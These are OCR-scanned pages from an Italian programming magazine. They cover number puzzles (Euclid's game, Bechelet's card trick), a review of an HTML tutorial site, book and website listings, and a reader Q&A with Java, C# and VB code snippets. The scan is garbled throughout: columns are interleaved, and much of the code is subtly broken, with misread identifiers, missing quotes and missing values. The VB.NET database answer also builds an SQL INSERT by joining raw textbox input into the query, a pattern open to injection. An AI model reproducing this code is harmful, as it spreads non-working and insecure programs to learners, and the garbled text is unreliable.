nori del più grande, 12. Nel secondo esempio vedia- 
mo come non sempre è cosi. Siano i due numeri 9 e 
3 e supponiamo che inizi Agata: 




Fig. 1: II famoso 
matematico Euclide. 
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Utili riferimenti sul 

web si possono trovare 

ai siti: 

http://www.cut-the-knot 

.org/ 

http://www-math.mit.edu/ 

Si troveranno tra l'altro 

link ad altri 

interessanti siti. 




Vi sono molti 

riferimenti 

sull'argomento, ma tra 

i tanti consiglio l'opera 

di M. Gardner più 

volte citato tra queste 

pagine come una delle 

più brillanti menti 

contemporanee. La sua 

opera è 

MATHEMATICAL 

CIRCUS fortemente 

consigliata a tutti i 

patiti del genere. 



Agata -> 6-9-3 

Andrea -> non ha numeri da scrìvere e perde, 
vince Agata. 

Si possono proporre alcune variazioni per rendere 
più accattivante il gioco, come ad esempio stabilire 
a priori che alcuni numeri non possano essere scrit- 
ti, come l'uno. 

Per concludere ci chiediamo, come possa essere 
coinvolto il computer e un programma. In un primo 
approccio si può pensare di sviluppare un semplice 
programma per computer che consenta a due gio- 
catori "umani" di fare una partita, ovviamente, in tal 
caso devono essere previsti dei controlli per la 
liceità dei numeri scritti, in altri termini essi non 
devono essere già presenti. Un secondo approccio 
prevede un programma che si confronti con un 
"umano" per riproporre l'ennesima sfida uomo- 
macchina, quindi definire un algoritmo che attui 
una strategia di gioco. Ecco le due proposte legate al 
primo enigma che battezzerei storico, per l'indiscu- 
tibile levatura scientifica del formulatore. 



IL TRUCCO 

MAGICO DI BECHLET 

Il secondo gioco di numeri è stato proposto da 
Bechelet, ed è conosciuto come il trucco magico di 
Bechelet. Si tratta di un gioco che si può trasporre 
con l'uso di carte, con il quale si da l'impressione di 
leggere il pensiero. Ma esaminiamolo in modo rigo- 
roso. Sia N un numero intero. Consideriamo adesso 
tutti i numeri compresi tra 1 e N*(N+1) sotto forma 
di coppie; o generate casualmente o semplicemen- 
te in modo ordinale {1,2 - 3,4 -5,6 etc). Il gioco con- 
siste nel far scegliere ad una persona una coppia di 
numeri, che al momento non deve svelare. 
Successivamente, presentando tutti gli N*(N+1) 
numeri singolarmente in forma matriciale (la 
matrice ha dimensione Nx (N+l) ) la persona deve 
spuntare (indicare) le due righe in cui sono presenti 
i numeri precedentemente individuati. Bisogna poi, 
noi oppure il programma che abbiamo scritto, indi- 
viduare la coppia di numeri pensata. Facciamo an- 
che in questo caso un esempio per chiarire il pro- 
blema. Sia N=6 e siano le coppie prodotte casual- 
mente quelle riportate in Fig. 2. 
Bisogna scegliere una coppia e non dirla. Per proce- 
dere nell'esempio supponiamo che la coppia pen- 
sata sia 18,31. 



A questo punto si avvia la seconda fase. I numeri 
sono proposti in forma di matrice, come indicato 
nella Fig. 3. 
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Select a pair of numbers. 
Click Proceed! 
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Your numbers are 18 and 31 
Press Reset! 



Fig. 2: Input per il trucco magico di Bechelet. 



Fig. 3: Seconda fase del trucco magico di Bechelet. 

Le righe che ospitano i numeri sono la terza e la 
quinta. Con tali informazioni dobbiamo essere in 
grado di "scoprire" i numeri pensati, appunto 18 e 
31. Vogliamo quindi sviluppare un programma ca- 
pace di svolgere le seguenti operazioni: 

1. Produrre le coppie di numeri; 

2. Costruire un'opportuna matrice di dimensione 
Nx (N+l); 

3. A fronte degl'input che sono due numeri indi- 
canti le due righe, generare l'output, ovvero la 
coppia di numeri pensata. 

Come procedere? È evidente che bisogna inizial- 
mente ideare un metodo per risolvere anche solo 
manualmente il problema. Successivamente, è 
necessario implementare tale soluzione come algo- 
ritmo, quindi come programma. Nell'implementare 
la soluzione consiglio di mantenere N all'interno di 
un ristretto range, ad esempio [3,6], o se si vuole 
ulteriormente snellire, fissare N (5 è un valore accet- 
tabile). Un'altra semplificazione può essere la pro- 
duzione delle coppie che anziché essere fatta da nu- 
meri random si attua con numeri consecutivi. 
Per concludere faccio notare che i numeri possono 
essere facilmente espressi come carte. Unica ac- 
cortezza però è, che nel caso si utilizzasse un 
mazzo di carte napoletane (ossia, con 40 carte), 
bisogna attenersi al vincolo che il numero N*N+1 
non superi 40; nel caso specifico il valore più gran- 
de per Né 5. 



CONCLUSIONI 

La semplicità dei problemi proposti permette di 
analizzarli in profondità e di produrre i giusti algo- 
ritmi di soluzione. I giochi che si possono fare con 
numeri e le relative soluzioni che si possono pro- 
durre anche con l'uso di programmi sono numero- 
si. Una particolare attenzione verso tale tipologia di 
enigmi sarà sempre prestata per l'estremo interesse 
che essi immancabilmente propongono. Nel prossi- 
mo appuntamento oltre alla visione di una possibi- 
le soluzione dei problemi proposti, ne esaminere- 
mo di altri, per cui vi aspetto. Alla prossima! 

Fabio Grimaldi 
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HTML Help 

Al giorno d'oggi è possibile progettare, realizzare e pubblicare un 
sito Web senza conoscere nulla di linguaggi e tecnologie quali HTML, 
CSS, ECMAScript e così via. È davvero un bene. 



Gli editor WYSIWYG (WhatYou See Is 
What You Get, cioè ciò che vedi è 
ciò che ottieni), come Macromedia 
Dreamweaver o Microsoft FrontPage, 
hanno reso lo sviluppo di un sito Web sem- 
plice tanto quanto la stesura di un docu- 
mento d'ufficio con un qualsiasi program- 
ma di videoscrittura. Da una parte tutto ciò 
è naturalmente un gran bene: chi desidera 
avere una pagina Web persona- 
le spicciola, senza troppe prete- 
se, può finalmente realizzarla in 
tutta tranquillità, senza dover 
sudare le proverbiali sette cami- 
cie rincorrendo sigle, tecniche e 
linguaggi a lui alieni. Per lo svi- 
luppo di soluzioni rigorose e 
veramente funzionali, ad ogni 
modo, gli editor WYSIWYG 
diventano strumenti insuffi- 
cienti, che devono per forza di 
cose essere coniugati con un 
buon parco di conoscenze da 
parte dello sviluppatore Web. 



ne norme di Web-design che trascendono il 
linguaggio stesso. Molti siti fanno proseliti 
(e un sacco di accessi) dispensando solu- 
zioni HTML pronte all'uso, con guide sem- 
plicissime e concise. Purtroppo, nella mag- 
gior parte dei casi, questi siti non insegna- 
no veramente la natura di HTML e delle sue 
applicazioni, limitandosi ad ammaliare gli 
utenti alle prime armi, tra i quali spicca cer- 
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Fig. 1: La homepage del Sito. 



COME STUDIARE 
L'HTML 

Il linguaggio HTML è alla base di qualun- 
que sito Web. HTML ha avuto una storia 
lunga e tormentata, che nella seconda 
metà degli anni novanta l'ha visto tra gli 
involontari protagonisti della cosiddetta 
"guerra dei browser". Estensioni ingiustifi- 
cate allo standard, supporto parziale a 
certe funzionalità, eccessiva tolleranza 
verso i documenti mal concepiti: sono tutti 
difetti dei principali browser che hanno 
reso HTML un linguaggio che può essere 
afferrato da due differenti versi. 
Conoscere HTML non significa solo saper 
applicare un prontuario di comandi, ma 
significa anche e soprattutto saper sceglie- 
re tra gli elementi disponibili, impiegando- 
li con coscienza e nel pieno rispetto di aleu- 



tamente un folto esercito di giovani ragazzi 
alla loro prima emozionante esperienza 
creativa in rete. Non è bene insegnare 
HTML nella maniera sbagliata, fornendo 
risultati troppo immediati a scapito di una 
ben più solida struttura di base. In questo 
periodo sono docente di un corso di HTML 
e Web-publishing, e mi sforzo quanto più è 
possibile affinché chi segue il mio corso 
apprenda anzitutto le nozioni fondamen- 
tali per un corretto e buon design. 
Gradirei che un domani i miei studenti 
possano saltare sul carrozzone di XHTML, 
dei nuovi dispositivi e delle nuove forme di 
comunicazione del Web con la maggiore 
naturalezza possibile. Affinché questo 
avvenga è necessario non tralasciare diver- 
se considerazioni e numerosi concetti di 
usabilità ed accessibilità che, sul campo 
pratico, risulteranno ben più utili dell'aver 
imparato in meno di tre minuti come rea- 



lizzare una scritta rotante. 



UN BUON PUNTO 
DI PARTENZA 

HTML Help è un sito che si adatta facil- 
mente a diversi contesti. Può consultarlo 
chi per la prima volta si ritrova ad avere a 
che fare con HTML, così come 
può usufruirne chi abbia bisogno 
di correggere e affinare i primi 
studi svolti altrove. Allo stesso 
tempo HTML Help è un sito utile 
anche a chi già sa per quale verso 
afferrare le tecnologie Web. Il 
motto di HTML Help è "making 
the Web accessible for ali", cioè 
"rendere il Web accessibile a tut- 
ti", una frase a doppio senso che 
ben esprime l'intento del sito e 
dei suoi ideatori. All'interno di 
HTML Help, distribuito in diffe- 
renti categorie, è conservato pa- 
recchio materiale didattico di buona 
fattura. La prima categoria contiene delle 
concise ma esatte guide a HTML 4 e alla 
tecnologia CSS. Coadiuvando questo mate- 
riale con un buon manuale e magari con 
qualche altro sito dedicato in maniera spe- 
cifica ai concetti di usabilità del Web, è pos- 
sibile apprendere l'uso di HTML e dei fogli 
di stile nella maniera più corretta. HTML 
Help propone poi una collezione di valida- 
tori di codice, spingendo sempre il visitato- 
re nella direzione di un linguaggio sintatti- 
camente e strutturalmente corretto. 
Seguono interessanti guide sulle norme di 
buon design, una raccolta di articoli a 
tema, una collezione di FAQ e, come è tipi- 
co in questi casi, un forum di discussione in 
lingua inglese. Se siete interessati a del 
buon materiale su HTML, ora conoscete un 
punto in più verso il quale rivolgersi. 

Carlo Pelliccia 
<carlo.pelliccia@ioprogrammo.it> 
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ON LINE 



SCRIPTZ 

Una interessante raccolta di 
script per molti linguaggi di 
programmazione: ASP, ASP.NET, 
C, C++, Java, Perl, PHP, Python, 
ColdFusion; inoltre utilità e tool 
di vario tipo. 
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GUIDA ALL'UTILIZZO DEGLI AMBIENTI 
DI SVILUPPO VISUAL BASIC 6.0 E VB.NET 



Cflslruireapfi lozioni 

"Visual Basic 



Il volume tratta, principalmente, la realizzazione di strumenti 
informatici per la gestione aziendale, analizzando dettagliatamen- 
te le funzionalità fondamentali disponibili con gli ambienti di svi- 
luppo Visual Basic 6.0 e .NET. 

Il libro dedica una parte consistente all'utilizzo dei database Mi- 
crosoft Access e MS SQL Server, e su come questi DBMS possono 
interagire con Visual Basic per realizzare progetti che consentono 
di lavorare con server web e sviluppare software gestionali. 

Difficoltà: Media • Autori: Davis Mike • Editore: Hoepli http://www.hoepli.it • ISBN: 8820331934 
Anno di pubblicazione: 2003 • Lingua: Italiano • Pagine: 491 • Prezzo: € 38,00 



http://www.scriptz.com 



FREE ASPX 

Portale dedicato ai 
programmatori Visual. Net e Asp. 
Sul sito articoli, script, lezioni 
ed esempi. 
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http://www.freeaspx.it 
DELPHI SEEK 




Documenti, componenti pronti 
al download, riferimenti a 
ottimi siti su Delphi, tool di 
sviluppo, magazine e news 
online, è tutto quello che 
potrete trovare in questo sito. 
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LA GUIDA PER SVILUPPARE 
APPLICAZIONI JAVA AVANZATE 

Il libro, come si evince dal titolo, analizza problematiche di 
programmazione avanzata in Java: funzionalità grafiche e 
multimediali, componenti GUI (Graphical User Interface) per 
la realizzazione di interfacce grafiche, gestione delle eccezioni, 
multithreading, elaborazione di file, gestione di database 
mediante JDBC, funzionalità di rete, strutture di dati, creazio- 
ne di servlet e JSP (Java Server Pages). 
La seconda edizione è stata completamente aggiornata a Java 

SDK 1.4.1. 

Difficoltà: Alta • Autori: Deitel Harvey M., Deitel Paul M. • Editore: Apogeo 
www.apoqeonline.com ISBN: 8850320973 • Anno di pubblicazione: 2004 • Lingua: Italiano • 

Pagine: 728 • Prezzo: € 45,00 



INTRODUZIONE A SQL: 

IL LINGUAGGIO STANDARD 

LA GESTIONE DEI DATABASE 





Uno strumento indispensabile per cominciare a programmare 
velocemente e senza intoppi in SQL (Structured Query Langua- 

ge)- 

Gli esempi presenti nel libro mostrano, in modo chiaro e com- 
pleto, come gestire gli oggetti di un database ed aggiungere, pre- 
levare e modificare i dati presenti al suo interno. 
Il manuale è stato realizzato rispettando pienamente lo standard 
ANSI/ISO SQL 1999, sul quale si basano la maggioranza dei 
DBMS oggi in commercio. 

Il libro risulta facile da consultare e gli esempi facili da mettere in 
pratica, grazie a listati chiari e ricchi di commenti. 

Difficoltà: Bassa • Autori: Sheldon Robert • Editore: Me Graw Hill http://www.mcqraw-hill.it 
ISBN: 8838643547 • Anno di pubblicazione: 2003 • Lingua: Italiano • Pagine: 522 • Prezzo: € 29,00 
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Box 

L'esperto risponde. .. 



Ripulire gli array Java 

Cara Redazione, è da un po' 
che mi interesso di pro- 
grammazione e, grazie al 
vostro lavoro, le mie conoscen- 
ze Java sono aumentate oltre 
ogni più rosea aspettativa! Vi 
scrivo perché vorrei un suggeri- 
mento. Dovrei eliminare i 
duplicati presenti in un 
ArrayList e vorrei sapere qual è 
il metodo più efficace. 
Grazie e complimenti ancora! 

Antonio Barbato 

Ciao Antonio, l'efficacia di un 
metodo, dipende ovviamente 
dallo scopo che ci si prefigge. Per te 
abbiamo trovato due metodi: uno più 
rapido, ma che non mantiene l'ordi- 
ne degli elementi nell'array; l'altro 
più lento ma rispettoso dell'ordine. 
Ecco il primo: 

public static voìd rìmuoviDuplicati(ArrayList 

arrLst) 

A 

HashSet hs = new HashSet(arrLst); 
arrLst. clearQ; 

arrLst.addAII(hs); 

} 

Il secondo è quello che mantiene 
l'ordine degli elementi: 

public static void 
rimuoviDuplicatiOrdinato(ArrayList arrLst) 

j 

Set set = new HashSet(); 
List newList = new ArrayListQ; 
for (Iterator iter = arlList.iterator(); 

iter.hasNextQ; ) { 

Object element = iter.nextQ; 
if (set.add(element)) 
newList.add (element); 

} 

arrLst. clear(); 
arrLst. addAII(newList); 
} 



Inizializzazione di stringhe 

Gentili redattori di 
ioProgrammo, salto i meri- 
tatissimi complimenti del caso 
e vi espongo il mio problema. 
Sto sviluppando un'applicazio- 
ne in C# e mi trovo nella neces- 
sità di inizializzare un array di 
stringhe, riempiendolo con 
numerose parole. Potreste indi- 
carmi il modo più semplice? 

Emilio Maroni 

Ciao Emilio, credo che la soluzione 
più semplice ed elegante potrebbe 
prevedere l'utilizzo delle regular ex- 
pression. Dunque, all'inizio del tuo 
progetto devi inserire la riga: 

Imports System. Text.RegularExpressions 

Attraverso il metodo split dell'oggetto 
Regex, è possibile ottenere un array di 
stringhe, ricavate suddividendo una 
stringa più grande. La stringa di par- 
tenza deve essere fornita come primo 
parametro, mentre il secondo sarà l'e- 
spressione regolare utilizzata come se- 
paratore di campo. 

Nel nostro caso, indicheremo uno spa- 
zio vuoto: 

String[] s = Regex. Split("ioProgrammo è la 
rivista di programmazione più venduta 
in Italia"); 

Nella riga appena esposta, oltre a scri- 
vere un'affermazione sintatticamente 
e semanticamente corretta, abbiamo 
inizializzato l'array s() ottenendo 
come risultato: 

s(0) = "ioProgr 

Scegliere il font 

Mi chiamo Michele 
Marescalchi e sono un 
affezionato lettore della vostra 



L 



rivista. Vorrei realizzare una pic- 
cola applicazione per l'editing 
del testo in Visual Basic, sullo 
stile di Word Pad. Mi piacerebbe 
rendere più semplice la gestione 
dei font, facendo in modo che 
l'utente non debba provare a 
scrivere qualcosa per capire 
come sia fatto il font. 
Mi date una mano? 

M. Marescalchi 

a prima cosa da fare è caricare tut- 
ti i font in un Combo Box: 



Private Sub Form_Load() 

For I = To Screen.FontCount - 1 
cboFont.Addltem Screen.Fonts(I) 

Next I 

End Sub 

A questo punto, facciamo in modo 
che, ogni qual volta l'utente sceglie 
un nome di font diverso, nome del 
font prenda l'aspetto corretto: 

Private Sub cboFont_Click() 

'Set the FontName of the combo box 
'to the font that was selected. 
cboFont. FontName = cboFont.Text 

End Sub 

Servlet e biscotti 

Spett.le redazione di 
ioProgrammo, avrei bisogno 
di conoscere se e come sia pos- 
sibile, per una Servlet, accedere 
ai Cookies lato client. Ringrazio 
fin d'ora per l'attenzione. 

Alessandro Casalini 

Gentile Alessandro, la classe ja- 
vax.servlet.http.cookies è quello che 
fa per lei. 

Nel codice che trova di seguito, an- 
diamo alla ricerca del cookie "Bi- 
scotto" sul client: è indicato il mo- 
mento in cui operare nei due casi di 
cookie trovato e non trovato. 
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boolean cookieTrovato = false; 

Cookie[] cookies = request.getCookies(); 

for(int nlndex=0;nlndex 

< cookies. Iength;nlndex+ + ) 

ì 

if(cookies[nIndex].getName().equals( 
"Biscotto")) 

_i 

cookieTrovato = true; 

// il cookie è stato trovato 

_} 

} 

if( cookieTrovato == false) 

{ 

/ /il cookie non è stato trovato 



Directory corrente in Java 

Salve, una domanda (credo) 
semplice semplice, come 
faccio a conoscere la directory 
corrente in un'applicazione 
Java? 

Giovanni Scarpa 

Ciao Giovanni, ti riporto un breve 
spezzone di codice che stampa a 
video sia il nome della directory cor- 
rente che quello della directory 
immediatamente superiore: 

import java. io. File; 
public class CurrentDir { 
public static void main (String args[]) { 
File diri = new File (.); 
File dir2 = new File (..); 

try { 

System. out.println (Directory corrente : 
+ dirl.getCanonicalPath()); 
System. out.println (Directory superio- 
re: 

+ dir2.getCanonicalPath()); 

} 

catch(Exception e) { 
e.printStackTrace(); 

} 

__} 

} 



VB: che ora è? 



Io uso il componente 
DTPICKER per il calendario, e 
ho visto che tra le proprietà ci 
sono anche ore(hour) e minu- 
ti(minute), ma sono sempre a 
zero. 



Come faccio ad assegrare loro 
l'ora del computer? 

bill78 

Risponde ^OkkultO* 

Prima devi impostare nella pro- 
prietà Format: 2-dtpTime 

Private Sub Form_Load() 

dtpickerl.Hour = 20 

dtpìckerl. Minute = 10 
dtpìckerl.Second = 12 
End Sub 

Questo è un semplice esmpio che 
visualizza nel controllo le ore 20.10.12 
Dimenticavo: se vuoi assegnare diret- 
tamente l'ora corrente basta scrivere: 

dtpickerl.value=time 

VB.NET: inserimento dati 
in database da textbox 

Ho un database access con i 
seguenti campi: nominati- 
vo, indirizzo, cap, località, pro- 
vincia. 

Vorrei che, premendo un pul- 
sante, vengano caricati nel 
database i dati che digito nelle 
textbox. 
Come posso fare? 

Stekimir 

Risponde mafe74 

Ci sono vari modi, uno può essere 
questo (prima dell'implementa- 
zione della classe devi importare i 
namespaces per accedere a database 
di tipo Oledb come Access): 

Imports System. Data 
Imports System. Data. Oledb 
Procedura di inserimento- 
Private Sub BtnClick(s As Object, e As 

eventArgs) Handles myButton. Click 
dim nome, citta, indirizzo, cap, provincia as 

String 
'assegno alle variabili i valori delle textbox 
nome = txtNome.Text 



provincia = txtPro.Text 

dim conStr as string = (inserire stringa 

connessione aldatabase Access, es: 
"Provider= Microsoft. Jet. OleDb. 4.0; Data 



Source=C:/mydatabase.mdb") 
dim commandStr as String = "INSERT INTO 
[nomeTabella] (nominativo, indirizzo, cap, 
località, provincia) 
Values ('" + nome + "','" + indirizzo + "', '" 

+ cap + "','" + citta + "', '" + provincia + 
"T 

--Creo e istanzio gli oggetti connection e 

command 
Dim con as New OLEDBConnection(conStr) 
Dim Cmd as New OLEDBCommand( 

commandStr, con) 

'apro la connessione 

con. Open 

'eseguo il comando di inserimento 

Cmd.ExecuteNonQuery 

'chiudo la connessione 

con.Close 

End SUB 

naturalmente sarebbe meglio inse- 
rire nella procedura un blocco Try.. 
Catch, in modo tale che puoi catturare 
e gestire eventuali errori. 

Condivisione dati tra 
applicazioni java 

Vorrei sapere se esiste un 
modo per fare condividere 
un dato (una stringa) a due 
applicazioni java standalone. 
Vorrei evitare di usare file e 
database. Grazie mille per l'aiu- 
to. 

PS. Pensavo di poter utilizzare 
le proprietà di sistema 
(System. getPropertyO e 
ystem.setPropertyO), ma ho 
fatto un test e non funziona. 

fabiob 

Risponde Simon 

Potresti fare una terza classe di ti- 
po monitor, cioè' nella quale i 
due programmi possono prelevare e 
scrivere dati (potresti quindi con- 
dividere praticamente tutto). 
Inoltre se vuoi aggiungere dei dati o 
oggetti, lo puoi fare direttamente lì. 

PER CONTATTARCI 

e-mail: ioprogrammo@edmaster. it 

Posta: Edizioni Master, 

Via Cesare Correnti, 1 - 20123 Milano 
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